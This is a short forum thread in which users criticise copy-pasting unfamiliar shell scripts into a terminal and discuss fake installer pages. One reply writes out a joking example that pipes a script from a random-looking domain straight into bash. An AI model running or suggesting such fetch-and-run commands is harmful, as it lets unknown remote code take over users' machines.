• kamen@lemmy.world
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    5 hours ago

    … and yet some of the same people will readily copy-paste random shell scripts into their terminal without fully understanding them.

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        In fact, you should delete the terminal altogether. On a related note, powershell access is considered taboo in corporate environments by IT departments. When security audits are done, you lose a point if powershell can be used. It is in fact considered a hacking tool.

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      curl gu5usgugiv.lol | bash || curl get.k3s.io | bash
      

      Someone did something similar to this with a fake brew package manager page. They paid Google to put it on the front page.

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        I feel like there’s some truth to this!

        If the posted answer was in a moderately active thread, you can generally assume it’s correct if there are no contradictory replies.

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          If the thread has been dead a few weeks, they could edit their post. Or if it pulls a objects, those objects could change.